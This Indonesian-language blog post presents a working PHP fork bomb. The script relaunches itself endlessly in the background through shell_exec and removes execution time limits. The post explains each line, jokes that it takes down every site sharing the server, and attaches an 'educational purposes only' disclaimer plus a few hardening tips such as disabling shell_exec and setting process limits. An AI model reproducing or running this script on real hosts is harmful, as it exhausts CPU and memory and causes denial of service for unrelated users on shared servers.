⚠️ PHP Fork Bomb — Self-Spawning Infinite Loop
Never run this script on shared hosting unless you truly know what you're doing!
🧠 Apa itu Fork Bomb?
Fork bomb adalah teknik klasik untuk melumpuhkan sistem dengan membuat proses secara berulang tanpa henti. Dalam konteks PHP, kamu bisa menciptakan efek ini dengan shell_exec
dan rekursi mandiri menggunakan loop tak berujung.
📜 Source Code:
<?php
// Jangan jalanin ini di shared hosting 😅
ignore_user_abort(true);
set_time_limit(0);
while (true) {
shell_exec("php " . __FILE__ . " > /dev/null 2>&1 &");
}
?>
raw pastebin
🔥 Cara Kerja
ignore_user_abort(true)
memastikan script tetap jalan walau koneksi HTTP dihentikanset_time_limit(0)
menonaktifkan batas waktu eksekusiwhile(true)
memicu loop tak terbatasshell_exec("php " . __FILE__)
akan memanggil dirinya sendiri secara terus menerus
ddoes awokwok
💣 Efeknya?
- 🔁 Ribuan proses PHP akan dibuat dalam waktu sangat singkat
- 🧠 RAM dan CPU akan termakan hingga penuh
- 💥 Server bisa nge-freeze atau auto-kill proses jika tidak kuat
- jadi bukan cuma 1 web tapi 1 server semua web yang servernya sama juga kena
⚠️ Disclaimer
This tool is released for educational and security research purposes only. The developer is not responsible for any misuse or illegal activities.
🛡️ Tips Proteksi
- Gunakan
disable_functions = shell_exec
diphp.ini
- Batasi
max_execution_time
danmax_input_time
- Monitor
ps -ef
dan gunakanulimit
untuk batas proses user
"Where creativity, exploitation, and expression collide." — 6ickZone
Posting Komentar